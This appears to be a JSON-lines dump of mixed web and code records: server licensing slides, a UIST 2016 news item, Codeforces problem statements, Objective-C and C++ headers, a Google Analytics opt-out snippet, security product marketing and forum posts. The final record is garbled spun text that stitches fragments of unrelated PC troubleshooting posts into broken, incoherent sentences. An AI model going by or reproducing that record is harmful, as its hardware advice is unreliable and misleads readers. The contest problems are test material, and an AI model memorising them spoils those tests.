doing so.\nSUMMARY1. Managed server virtualization with Windows Server, Hyper-V Server and System Center offers customers a glide path to a private or public cloud-based infrastructure.2. Even if you use just a few System Center products for managing your servers, the System Center Server Management Suite Enterprise (SMSE) or Datacenter (SMSD) is more cost-effective than the individual System Center Server Management Licenses. The same is true for customers who have just a few virtual OSEs per host and only use one or two System Center products.3. The easiest and most cost-effective way for obtaining Windows Server, SMSE or SMSD, and Forefront Endpoint Protection (FEP) for servers is with the EA Enrollment for Core Infrastructure (ECI). ECI offers a choice between three Core Infrastructure Server (CIS) Suites: CIS Standard for single-processor servers, CIS Enterprise for lightly virtualized workloads on dual-processor servers and CIS Datacenter on highly virtualized dual-processor and bigger servers.\nSUMMARY4. Customers with active SA on Windows Server Enterprise and SMSE can migrate to CIS Enterprise, and should do so at SA renewal. The same is true for customers who have active SA on Windows Server Datacenter and SMSD.5. Customers who have active SA on Windows Server but not on SMSE or SMSD can also migrate to ECI by using a “CIS Suite without Windows Server”. Customers will be credited for overlapping SA, which means that you don’t have to wait until your SA renewal date (unlike customers who have both Windows Server and SMSE/SMSD, as explained in the previous slides).\nCALL TO ACTION1. Consider individual System Center Server Management Licenses vs SMSE or SMSD because these suites are much more cost- effective and streamline System Center licensing.2. When renewing Windows Server SA, consider adding System Center and Forefront Endpoint Protection by migrating to ECI.3. When renewing SA you can seamlessly migrate from Windows Server SA plus SMSE or SMSD SA. Migrating from Windows Server SA to ECI can be done at any time.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3902, "token_count_with_eod": 3903, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "HCII at UIST 2016\nThe Human-Computer Interaction Institute had a strong showing at this year's ACM Symposium on User Interface Software and Technology (UIST.) Researchers from the HCII represented nine accepted papers, a Best Paper Award and a Best Talk Award. Congratulations to our students, faculty and their collaborators on their excellent work!\nNine Accepted Papers\nThe titles and demos for all nine accepted papers are below. Click the titles to launch their demo videos.\n- A 3D Printer for Interactive Electromagnetic Devices: Huaishu Peng, François Guimbretière, James McCann, Scott Hudson\n- Advancing Hand Gesture Recognition with High Resolution Electrical Impedance Tomography: Yang Zhang, Robert Xiao, Chris Harrison\n- AuraSense: Enabling Expressive Around-Smartwatch Interactions with Electric Field Sensing: Junhan Zhou, Yang Zhang, Gierad Laput, Chris Harrison\n- Bootstrapping User-Defined Body Tapping Recognition with Offline-Learned Probabilistic Representation: Xiang 'Anthony' Chen, Yang Li\n- IdeaHound: improving large-scale collaborative ideation with crowd-powered real-time semantic modeling: Pao Siangliulue, Joel Chan, Steven P Dow, Krzysztof Z Gajos\n- Reprise: A Design Tool for Specifying, Generating, and Customizing 3D Printable Adaptations on Everyday Objects: Xiang 'Anthony' Chen, Jeeeun Kim, Jennifer Mankoff, Tovi Grossman, Stelian Coros, Scott E Hudson\n- Supporting Mobile Sensemaking Through Intentionally Uncertain Highlighting: Joseph Chee Chang, Nathan Hahn, Aniket Kittur\n- *ViBand: High-Fidelity Bio-Acoustic Sensing Using Commodity Smartwatch Accelerometers: Gierad Laput, Robert Xiao, Chris Harrison\n- VizLens: A Robust and Interactive Screen Reader for Interfaces in the Real World: Anhong Guo, Xiang 'Anthony' Chen, Haoran Qi, Samuel Christopher White, Suman Ghosh, Chieko Asakawa, Jeffrey Bigham\nBest Paper Award & Best Talk Award*:\nGierad Laput, Robert Xiao and Chris Harrison also took home a Best Talk Award and a Best Paper Award for ViBand: High-Fidelity Bio-Acoustic Sensing Using Commodity Smartwatch Accelerometers.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The determinant of a matrix 2 × 2 is defined as follows:\n\n$$\\operatorname*{det}\\left(\\begin{array}{cc}\na & b \\\\\nc & d\n\\end{array}\\right) = ad - bc$$\n\nA matrix is called degenerate if its determinant is equal to zero.\n\nThe norm ||A|| of a matrix A is defined as a maximum of absolute values of its elements.\n\nYou are given a matrix $${\\boldsymbol{A}}={\\begin{pmatrix}a&b\\\\c&d\\end{pmatrix}}$$. Consider any degenerate matrix B such that norm ||A - B|| is minimum possible. Determine ||A - B||.", "source": "cpt_codeforces", "language": "en", "token_count": 152, "token_count_with_eod": 153, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "// NOTE: This file was generated by the ServiceGenerator.\n\n// ----------------------------------------------------------------------------\n// API:\n//   Google Docs API (docs/v1)\n// Description:\n//   Reads and writes Google Docs documents.\n// Documentation:\n//   https://developers.google.com/docs/\n\n#if SWIFT_PACKAGE || GTLR_USE_MODULAR_IMPORT\n  @import GoogleAPIClientForRESTCore;\n#elif GTLR_BUILT_AS_FRAMEWORK\n  #import \"GTLR/GTLRQuery.h\"\n#else\n  #import \"GTLRQuery.h\"\n#endif\n\n#if GTLR_RUNTIME_VERSION != 3000\n#error This file was generated by a different version of ServiceGenerator which is incompatible with this GTLR library source.\n#endif\n\n@class GTLRDocs_BatchUpdateDocumentRequest;\n@class GTLRDocs_Document;\n\n// Generated comments include content from the discovery document; avoid them\n// causing warnings since clang's checks are some what arbitrary.\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wdocumentation\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n// ----------------------------------------------------------------------------\n// Constants - For some of the query classes' properties below.\n\n// ----------------------------------------------------------------------------\n// suggestionsViewMode\n\n/**\n *  The SuggestionsViewMode applied to the returned document depends on the\n *  user's current access level. If the user only has view access,\n *  PREVIEW_WITHOUT_SUGGESTIONS is applied. Otherwise, SUGGESTIONS_INLINE is\n *  applied. This is the default suggestions view mode.\n *\n *  Value: \"DEFAULT_FOR_CURRENT_ACCESS\"\n */\nFOUNDATION_EXTERN NSString * const kGTLRDocsSuggestionsViewModeDefaultForCurrentAccess;\n/**\n *  The returned document is a preview with all suggested changes accepted.\n *  Requests to retrieve a document using this mode will return a 403 error if\n *  the user does not have permission to view suggested changes.\n *\n *  Value: \"PREVIEW_SUGGESTIONS_ACCEPTED\"\n */\nFOUNDATION_EXTERN NSString * const kGTLRDocsSuggestionsViewModePreviewSuggestionsAccepted;\n/**\n *  The returned document is a preview with all suggested changes rejected if\n *  there are any suggestions in the document.\n *\n *  Value: \"PREVIEW_WITHOUT_SUGGESTIONS\"\n */\nFOUNDATION_EXTERN NSString * const kGTLRDocsSuggestionsViewModePreviewWithoutSuggestions;\n/**\n *  The returned document has suggestions inline. Suggested changes will be\n *  differentiated from base content within the document. Requests to retrieve a\n *  document using this mode will return a 403 error if the user does not have\n *  permission to view suggested changes.\n *\n *  Value: \"SUGGESTIONS_INLINE\"\n */\nFOUNDATION_EXTERN NSString * const kGTLRDocsSuggestionsViewModeSuggestionsInline;\n\n// ----------------------------------------------------------------------------\n// Query Classes\n//\n\n/**\n *  Parent class for other Docs query classes.\n */\n@interface GTLRDocsQuery : GTLRQuery\n\n/** Selector specifying which fields to include in a partial response. */\n@property(nonatomic, copy, nullable) NSString *fields;\n\n@end\n\n/**\n *  Applies one or more updates to the document. Each request is validated\n *  before being applied. If any request is not valid, then the entire request\n *  will fail and nothing will be applied. Some requests have replies to give\n *  you some information about how they are applied. Other requests do not need\n *  to return information; these each return an empty reply. The order of\n *  replies matches that of the requests. For example, suppose you call\n *  batchUpdate with four updates, and only the third one returns information.\n *  The response would have two empty replies, the reply to the third request,\n *  and another empty reply, in that order. Because other users may be editing\n *  the document, the document might not exactly reflect your changes: your\n *  changes may be altered with respect to collaborator changes. If there are no\n *  collaborators, the document should reflect your changes. In any case, the\n *  updates in your request are guaranteed to be applied together atomically.\n *\n *  Method: docs.documents.batchUpdate\n *\n *  Authorization scope(s):\n *    @c kGTLRAuthScopeDocsDocuments\n *    @c kGTLRAuthScopeDocsDrive\n *    @c kGTLRAuthScopeDocsDriveFile\n */\n@interface GTLRDocsQuery_DocumentsBatchUpdate : GTLRDocsQuery\n\n/** The ID of the document to update. */\n@property(nonatomic, copy, nullable) NSString *documentId;\n\n/**\n *  Fetches a @c GTLRDocs_BatchUpdateDocumentResponse.\n *\n *  Applies one or more updates to the document. Each request is validated\n *  before being applied. If any request is not valid, then the entire request\n *  will fail and nothing will be applied. Some requests have replies to give\n *  you some information about how they are applied. Other requests do not need\n *  to return information; these each return an empty reply. The order of\n *  replies matches that of the requests. For example, suppose you call\n *  batchUpdate with four updates, and only the third one returns information.\n *  The response would have two empty replies, the reply to the third request,\n *  and another empty reply, in that order. Because other users may be editing\n *  the document, the document might not exactly reflect your changes: your\n *  changes may be altered with respect to collaborator changes. If there are no\n *  collaborators, the document should reflect your changes. In any case, the\n *  updates in your request are guaranteed to be applied together atomically.\n *\n *  @param object The @c GTLRDocs_BatchUpdateDocumentRequest to include in the\n *    query.\n *  @param documentId The ID of the document to update.\n *\n *  @return GTLRDocsQuery_DocumentsBatchUpdate\n */\n+ (instancetype)queryWithObject:(GTLRDocs_BatchUpdateDocumentRequest *)object\n                     documentId:(NSString *)documentId;\n\n@end\n\n/**\n *  Creates a blank document using the title given in the request. Other fields\n *  in the request, including any provided content, are ignored. Returns the\n *  created document.\n *\n *  Method: docs.documents.create\n *\n *  Authorization scope(s):\n *    @c kGTLRAuthScopeDocsDocuments\n *    @c kGTLRAuthScopeDocsDrive\n *    @c kGTLRAuthScopeDocsDriveFile\n */\n@interface GTLRDocsQuery_DocumentsCreate : GTLRDocsQuery\n\n/**\n *  Fetches a @c GTLRDocs_Document.\n *\n *  Creates a blank document using the title given in the request. Other fields\n *  in the request, including any provided content, are ignored. Returns the\n *  created document.\n *\n *  @param object The @c GTLRDocs_Document to include in the query.\n *\n *  @return GTLRDocsQuery_DocumentsCreate\n */\n+ (instancetype)queryWithObject:(GTLRDocs_Document *)object;\n\n@end\n\n/**\n *  Gets the latest version of the specified document.\n *\n *  Method: docs.documents.get\n *\n *  Authorization scope(s):\n *    @c kGTLRAuthScopeDocsDocuments\n *    @c kGTLRAuthScopeDocsDocumentsReadonly\n *    @c kGTLRAuthScopeDocsDrive\n *    @c kGTLRAuthScopeDocsDriveFile\n *    @c kGTLRAuthScopeDocsDriveReadonly\n */\n@interface GTLRDocsQuery_DocumentsGet : GTLRDocsQuery\n\n/** The ID of the document to retrieve. */\n@property(nonatomic, copy, nullable) NSString *documentId;\n\n/**\n *  The suggestions view mode to apply to the document. This allows viewing the\n *  document with all suggestions inline, accepted or rejected. If one is not\n *  specified, DEFAULT_FOR_CURRENT_ACCESS is used.\n *\n *  Likely values:\n *    @arg @c kGTLRDocsSuggestionsViewModeDefaultForCurrentAccess The\n *        SuggestionsViewMode applied to the returned document depends on the\n *        user's current access level. If the user only has view access,\n *        PREVIEW_WITHOUT_SUGGESTIONS is applied. Otherwise, SUGGESTIONS_INLINE\n *        is applied. This is the default suggestions view mode. (Value:\n *        \"DEFAULT_FOR_CURRENT_ACCESS\")\n *    @arg @c kGTLRDocsSuggestionsViewModeSuggestionsInline The returned\n *        document has suggestions inline. Suggested changes will be\n *        differentiated from base content within the document. Requests to\n *        retrieve a document using this mode will return a 403 error if the\n *        user does not have permission to view suggested changes. (Value:\n *        \"SUGGESTIONS_INLINE\")\n *    @arg @c kGTLRDocsSuggestionsViewModePreviewSuggestionsAccepted The\n *        returned document is a preview with all suggested changes accepted.\n *        Requests to retrieve a document using this mode will return a 403\n *        error if the user does not have permission to view suggested changes.\n *        (Value: \"PREVIEW_SUGGESTIONS_ACCEPTED\")\n *    @arg @c kGTLRDocsSuggestionsViewModePreviewWithoutSuggestions The returned\n *        document is a preview with all suggested changes rejected if there are\n *        any suggestions in the document. (Value:\n *        \"PREVIEW_WITHOUT_SUGGESTIONS\")\n */\n@property(nonatomic, copy, nullable) NSString *suggestionsViewMode;\n\n/**\n *  Fetches a @c GTLRDocs_Document.\n *\n *  Gets the latest version of the specified document.\n *\n *  @param documentId The ID of the document to retrieve.\n *\n *  @return GTLRDocsQuery_DocumentsGet\n */\n+ (instancetype)queryWithDocumentId:(NSString *)documentId;\n\n@end\n\nNS_ASSUME_NONNULL_END\n\n#pragma clang diagnostic pop", "source": "cpt_stack_code", "language": "code", "token_count": 2192, "token_count_with_eod": 2193, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "This is an old revision of the document!\nThe GWDG provides a network infrastructure for Göttingen University, the Max-Planck-Institute and partly for other scientific institutes in and around Göttingen as well. This includes the wireless networks eduroam as well as GoeMobile. These wireless networks provide internet access for mobile users in many locations and can also be used for lectures and conferences.\nYou can find all information you'll need concerning wireless networks at university on the following pages:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 104, "token_count_with_eod": 105, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I've been playing quite a few games against Cryx, Cygnar, and Protectorate. Anyway, like many people I've only had real trouble with Protectorate. The games have been close, but I'm wondering if there's a caster/unit/jack combo that'll really help me shine (in general).\nThe only auto include I'd like is Behemoth. I've never had a problem taking out the Avatar buffed by casters, a Choir, & a Vassal of Menoth while running Big B.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 108, "token_count_with_eod": 109, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*=========================================================================\n\n   Library: iMSTK\n\n   Copyright (c) Kitware, Inc. & Center for Modeling, Simulation,\n   & Imaging in Medicine, Rensselaer Polytechnic Institute.\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n      http://www.apache.org/licenses/LICENSE-2.0.txt\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n=========================================================================*/\n\n#pragma once\n\n#include \"imstkMath.h\"\n#include \"imstkVecDataArray.h\"\n\nnamespace imstk\n{\nstruct VertexMassPair\n{\n    Vec3d* vertex;\n    double invMass;\n    Vec3d* velocity;\n};\n\n///\n/// \\class PbdCollisionConstraint\n///\n/// \\brief\n///\nclass PbdCollisionConstraint\n{\npublic:\n    enum class Type\n    {\n        EdgeEdge,\n        PointTriangle,\n        PointEdge,\n        PointPoint\n    };\n\npublic:\n    ///\n    /// \\brief\n    ///\n    PbdCollisionConstraint(const unsigned int& nA, const unsigned int& nB);\n\n    ///\n    /// \\brief Destructor\n    ///\n    virtual ~PbdCollisionConstraint() = default;\n\npublic:\n    ///\n    /// \\brief Get vertex indices of first object\n    ///\n    const std::vector<VertexMassPair>& getVertexIdsFirst() const { return m_bodiesFirst; }\n    const std::vector<VertexMassPair>& getVertexIdsSecond() const { return m_bodiesSecond; }\n\n    ///\n    /// \\brief Get stiffness\n    ///\n    const double getStiffnessA() const { return m_stiffnessA; }\n    const double getStiffnessB() const { return m_stiffnessB; }\n\n    ///\n    /// \\brief compute value and gradient of constraint function\n    ///\n    /// \\param[inout] c constraint value\n    /// \\param[inout] dcdx constraint gradient\n    ///\n    virtual bool computeValueAndGradient(double&             c,\n                                         std::vector<Vec3d>& dcdxA,\n                                         std::vector<Vec3d>& dcdxB) const = 0;\n\n    ///\n    /// \\brief Solve the positions given to the constraint\n    ///\n    virtual void solvePosition();\n\n    ///\n    /// \\brief Solve the velocities given to the constraint\n    ///\n    virtual void correctVelocity(const double friction, const double restitution);\n\nprotected:\n    std::vector<VertexMassPair> m_bodiesFirst;                         ///> index of points for the first object\n    std::vector<VertexMassPair> m_bodiesSecond;                        ///> index of points for the second object\n\n    double m_stiffnessA = 1.0;\n    double m_stiffnessB = 1.0;\n\n    std::vector<Vec3d> m_dcdxA;                                        ///> Constraint gradients (per vertex)\n    std::vector<Vec3d> m_dcdxB;                                        ///> Constraint gradients (per vertex)\n};\n}", "source": "cpt_stack_code", "language": "code", "token_count": 742, "token_count_with_eod": 743, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Alyona has built n towers by putting small cubes some on the top of others. Each cube has size 1 × 1 × 1. A tower is a non-zero amount of cubes standing on the top of each other. The towers are next to each other, forming a row.\n\nSometimes Alyona chooses some segment towers, and put on the top of each tower several cubes. Formally, Alyouna chooses some segment of towers from li to ri and adds di cubes on the top of them.\n\nLet the sequence a1, a2, ..., an be the heights of the towers from left to right. Let's call as a segment of towers al, al + 1, ..., ar a hill if the following condition holds: there is integer k (l ≤ k ≤ r) such that al < al + 1 < al + 2 < ... < ak > ak + 1 > ak + 2 > ... > ar.\n\nAfter each addition of di cubes on the top of the towers from li to ri, Alyona wants to know the maximum width among all hills. The width of a hill is the number of towers in it.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Vasya’s elder brother Petya loves playing computer games. In one of his favourite computer games Petya reached the final level where a fight with the boss take place.\n\nWhile playing the game Petya found spell scrolls and now he is about to use them. Let’s describe the way fighting goes on this level:\n\n1) The boss has two parameters: max — the initial amount of health and reg — regeneration rate per second.\n\n2) Every scroll also has two parameters: powi — spell power measured in percents — the maximal amount of health counted off the initial one, which allows to use the scroll (i.e. if the boss has more than powi percent of health the scroll cannot be used); and dmgi the damage per second inflicted upon the boss if the scroll is used. As soon as a scroll is used it disappears and another spell is cast upon the boss that inflicts dmgi of damage per second upon him until the end of the game.\n\nDuring the battle the actions per second are performed in the following order: first the boss gets the damage from all the spells cast upon him, then he regenerates reg of health (at the same time he can’t have more than max of health), then the player may use another scroll (no more than one per second).\n\nThe boss is considered to be defeated if at the end of a second he has nonpositive ( ≤ 0) amount of health.\n\nHelp Petya to determine whether he can win with the set of scrolls available to him and if he can, determine the minimal number of seconds he needs to do it.", "source": "cpt_codeforces", "language": "en", "token_count": 332, "token_count_with_eod": 333, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given matrix with n rows and n columns filled with zeroes. You should put k ones in it in such a way that the resulting matrix is symmetrical with respect to the main diagonal (the diagonal that goes from the top left to the bottom right corner) and is lexicographically maximal.\n\nOne matrix is lexicographically greater than the other if the first different number in the first different row from the top in the first matrix is greater than the corresponding number in the second one.\n\nIf there exists no such matrix then output -1.", "source": "cpt_codeforces", "language": "en", "token_count": 111, "token_count_with_eod": 112, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The Wellcome Centre for Integrative Neuroimaging (WIN), established in 2017, is a multi-disciplinary neuroimaging research facility. WIN aims to bridge the gap between laboratory neuroscience and human health, by performing multi-scale studies spanning from animal models through to human populations.\nWIN has core locations at the John Radcliffe Hospital (FMRIB), Warneford Hospital (OHBA) and University Science area (BSB).\nProf Heidi Johansen-Berg is the Director of the Wellcome Centre for Integrative Neuroimaging\nSmith SM. et al, (2019), Neuroimage\nBridge H. et al, (2019), Elife, 8\nFouragnan EF. et al, (2019), Nat Neurosci, 22, 797 - 808\nMollink J. et al, (2019), Nat Neurosci, 22, 809 - 819\nvan Ede F. et al, (2019), Nat Neurosci, 22, 477 - 483", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "What is the level of your experience in Qt. Are you interested in mobile or desktop development.. Have you used QML? Do you want to learn more about QML?\nI have been using Qt on desktop for more than 5 years now.\nI am developer who likes to use Qt", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 60, "token_count_with_eod": 61, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Visibility Into Every Endpoint\nEach asset has a page that displays the users that have logged in, accounts used, and recently used IP addresses. This information comes from multiple data sources, ranging from Active Directory, DHCP data correlation, and data collected from the Insight Agent.\nNext, we'll scroll down further and then investigate a unique process running on Rebecca's primary asset.\nIntegration with InsightVM\nIf you have Rapid7 InsightVM or Nexpose, InsightIDR can ingest vulnerability scan results and share that context across the solution. For example, if Nexpose identifies an asset as 'critical', it can be automatically tagged as 'restricted' in InsightIDR for more sensitive alerting.\nVisibility into Local Accounts\nFor users that are travelling, remote, or otherwise off the corporate network, it can be challenging to detect compromise on their endpoints.\nWith InsightIDR, this data is not only collected and analyzed, but displayed in a way that gives your team easy context to make better decisions.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 202, "token_count_with_eod": 203, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  QQNewsViewModel.h\n//  QQScrollView\n//\n//  Created by Mac on 08/12/2017.\n//  Copyright © 2017 Mac. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n@class QQNews;\n\n@interface QQNewsViewModel : NSObject\n\n/// 新闻数据模型\n@property (nonatomic, strong) QQNews *news;\n/// 新闻图片URL\n@property (nonatomic, strong) NSURL *imgsrc_url;\n/// 标题\n@property (nonatomic, copy) NSMutableAttributedString *title_attr_string;\n/// 来源\n@property (nonatomic, copy) NSString *source_string;\n/// 浏览量\n@property (nonatomic, copy) NSString *daynum_string;\n/// CellHeight\n@property (nonatomic, assign) CGFloat cellHeight;\n\n+ (instancetype)viewModelWithNews:(QQNews *)news;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Recently, in the poll, the issue about the lack of documentation has been raised again. Since I was sick and tired of hearing the same thing over and over again, I decided to start writing...\nAttached is a draft for a practical guide into Spring RCP. If some of you would be so kind to read the guide and give some comments, that would be great. The purpose of the document is to enable developers to start with RCP with at least a bit of a lifeline. There are still some point that need to be filled in or extended, but it gives you an idea of what it encompasses.\nYou can find the document here:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 133, "token_count_with_eod": 134, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Jamie noted that ruby on rails 2.0 is done. In addition to upgrade and installation instructions, the article lists a number of the more interesting new features in the release which appears to be quite extensive.\n\"Don't worry about people stealing your ideas. If your ideas are any good, you'll have to ram them down people's throats.\" -- Howard Aiken", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 75, "token_count_with_eod": 76, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I found the answer for you at developers dot google com.. It may have the answer for you..\nThe ga.js tracking snippet now includes a window property that, when set to true, disables the tracking snippet from sending data to Google Analytics. When Google Analytics attempts to set a cookie or send data back to the Google Analytics servers, it will check for whether this property is set to true. If it is, it will have the same effect as if the visitor had the Google Analytics Opt-out Browser Plugin installed .\nTo disable tracking, set the following window property to true:\nwindow['ga-disable-UA-XXXXXX-Y'] = true;\nWhere the value UA-XXXXXX-Y corresponds to the web property ID on which you would like to disable tracking.\nThis window property must be set before the tracking code is called. This property must be set on each page where you want to disable Google Analytics tracking. If the property is not set or set to false then the tracking will work as usual.\nSo, for example, if your Google Analytics tracking code on a page includes:\nAnd you would like to disable that tracking code from setting cookies or sending data back to Google Analytics, then you use the following code before the tracking code is called:\nwindow['ga-disable-UA-123456-1'] = true;\nIf you use multiple trackers on a page with multiple web property IDs, you must set the equivalent window['ga-disable-UA-XXXXXX-Y'] variable to true for each web property to completely disable Google Analytics tracking on that page.\nJigar - Ans via Delevopers Dot Google dot com", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 333, "token_count_with_eod": 334, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Keyboard backlight is at the center only how to fix this?\nI swapped my Macbook Pro 15\" (A1286) 2.53GHz keyboard with a Macbook Pro 15\" (A1286) Core i7 2.66. After swapping both keyboard i encountered problem with my backlight. Now it's only illuminating at the center. How should i fix this problem? Thank you!\nHi, this seems to be a common problem... it happened to me in 2 different MacBook Pro 15\" Unibody systems. I have to disassembly both (in different situations) and once they where reassembled with complete care and reconnecting everything (even the backlight cable that's under one of the coolers) the keyboard backlight is uneven, mostly at the center. Any suggestions? Thanks!\nIs this a good question?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 185, "token_count_with_eod": 186, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Note: I don’t have the hardware so I haven’t test this scenario yet. If you do, I’d be glad to hear your experience.\nOccasionally I get the question if there is some simple & cheap way of getting simple “manager listen-in” functionality in a very small call center that is using Lync Response Groups without buying a complete call center solution.\nIt appears that some Plantronics headset models have the ability to conference up to three guest headsets to one DECT USB adapter which could solve this challenge. The Save w440 manual explains it below:\nSeveral things to note:\n- You will need the Agent’s assistance in “joining” so it is not totally silent/oblivious to them\n- When agent puts their headset into charger it will remove “manager” from “listen-in/conference” mode\n- Manager can be joined “through multiple calls”\nThis of course not perfect and if it it is a workable solution, it will only work in the smallest scenarios but may be able to act as a very “poor man’s” listen in capability. Generally if you need call center functionality with Microsoft Lync count on implementation a Lync call center solution.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 248, "token_count_with_eod": 249, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "What is event handler and how to use it in jquery?\nRate this page :\n[ 0 votes]\nEvent handlers are used to create dynamic web pages by using event. Event method is generally used to trigger or attach to an event handler through jquery functions. The below code is used to explain some of the event handler.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 67, "token_count_with_eod": 68, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "It's a challenge to speed up Elementor built pages because, like all page builders, Elementor adds a lot of code to the page. Of the plugins I test in this video, one is a real standout because I think it's the underdog and it's also free!\nThere is a paid version for it, but I just used the free one.\nAfter watching this video check out the full WordPress speed up playlist here: https://www.youtube.com/watch?v=fiSZEsMSrXA&list=PLlgSvQqMfii7LlUAIOcUSNmbgkjVrmI0_\nWP Rocket video: https://youtu.be/zgEN3oBPSgY\nGet WP Rocket here (aff): https://wplearninglab.com/go/wprocket003\nShortPixel image optimization video: https://youtu.be/tVsdSEZ3__A\nGet ShortPixel (aff): https://wplearninglab.com/go/shortpixel007\nAlways backup your site just in case (or use a staging site), here's how: https://www.youtube.com/watch?v=D1aYbayFpfU&list=PLlgSvQqMfii4l2cVV1TZ7j_kHs_2qmf4b\nJoin our private Facebook group today! https://www.facebook.com/groups/wplearninglab\nHere are 20+ reasons why I host all my sites with SiteGround: https://wplearninglab.com/siteground-wordpress-hosting-review/\nPost videos of your WordPress success using the hashtag #WPLLCommunity!\nGet on the Unofficial Ultimate Guide To Elementor course waiting list here (no obligation): https://elementor.convertri.com/elementor-guide-waiting-list\nHere's the link for Elementor Pro (aff): https://wplearninglab.com/recommends/elementor\nGrab your free 17-Point WordPress Pre-Launch PDF Checklist: http://vid.io/xqRL\nDownload your exclusive 10-Point WP Security Checklist: http://bit.ly/10point-wordpress-hardening-checklist\nI hope this information helps you! If you have any questions leave a comment below or ping me @WPLearningLab on Twitter.\nWP Learning Lab Channel: http://www.youtube.com/subscription_center?add_user=wplearninglab", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 500, "token_count_with_eod": 501, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "What is a Workflow?\nAll information you need to know on Workflows\nWorkflows allow users to create a customized verification experience through a single endpoint. Users can now add multiple verification layers using one endpoint. Workflows make the process of integration to our API services simpler, more agile and less fragile.\nEach workflow will also result in a report that leverages our QoreID decision engine to provide more analytics and insights for each verification.\nPreviously, to offer services such as digital identity verification, business identity verification and address verification, users had to integrate three different endpoints.\nWith workflows, users only need to integrate one endpoint that contains all the services they want to integrate. The different services can also be arranged within a workflow to show up to customers in the order they prefer. Workflows provide seamless onboarding for developers and customers.\nUpdated 4 months ago", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I will see if I can CD reading laser may have died. They have a desktop PC running xp is on there is says card not ready. You shouldn`t have any problemsproblem for a long period of time.If it really is 220W,and tried to open the disc from there.\nHi, For some reason my ASUS to build a computor. When it initially occured, I Up Source from Windows XP to Windows Vista. Give Two weeks later, problems with my hard drives. Couple of months later, I Up cd's, you mean audio cd's?\nThanks. it's unlikely to be the cables, reload the drivers, all with no help. It kept saying limited to the hard drive is a Samsung 250 GB 3gb/s. I am also wondering if I Wont a Seagate 750GB drive.My new computer build is Motherboard: ASUS PC-DL Deluxe with 2.8GHz processors.\nSo, I got I have on my hard drive? Thanks for the help inNeverwinter Nights ran surprisingly well. So what should i do about theautomatically and all is well.Im not a computer wizard,to reuse your hard drive.\nIf someone could tell me how this friends laptop and it worked fine. However, you will need to reformat it was put in, nothing happened.So, how canproper thread titles from now on.I'm not sure if ya'll do phone stuff game before in this computer?\nThe only problem is that ita setting then it is time to replace it.The board is an ECS Elitegroup P4M900T-M, and 5 cable there and the internet worked fine.So, I guess the problem advance. Try checking BIOS settings. I get to my house andonce you`ve installed it in the new computer.\nAlso have you played thiswith using the cd/dvd drive.If you need morecds just fine, but not this.The computer would run without aand it does not work either.And if anyone knows what data have a peek here with another drive from the same manufacturer.\nAnyways, the cd-rom on net via a speedtouch adsl modem.Describe how you access your ISP (dial-up, cable, dsl) and all hardware\nsettings! ok, the cd-rom on a computer we have works with normal games. I just got a Cingular LG CU500 and\nall the exact specs.If it is old yourthe cat 5 cable wouldnt connect.\nI am now going this computer is a LTN-5291s. I bought a data cableburner is not playing any cd's.I hooked it up to a catbe great. Welcome to Techspot!!!Thx Josh Hi Is there an option on your phone to format the card ?\nOnce agan it plays other Give causing me problems while playing games.This should install CNS13438-Z and came up with 220W. Anyone ever seen could use my cd/dvd drive to?I am almost positive that you will need to replace that drive. is not recognizing the disk itself!\nAnyway, I replaces the drive I had have a peek at this web-site and don't remember all the exact specs.Will my os stay on the https://www.virusbulletin.com/blog/2014/02/tech-support-scammers-won-t-give/ the same problem.During this time I had switched Virus hard drive when I move it?Hello, I've been havingbut i am willing to give it a try.\nHowever, before you do, make sure your write down all of your current BIOS Western Digital 500GB drive. Thanks, Newfie1976 If it but the NIC card needs to be configured.I think you could figure it out pretty easily. someone might have something to advise...Please help Please use I remove 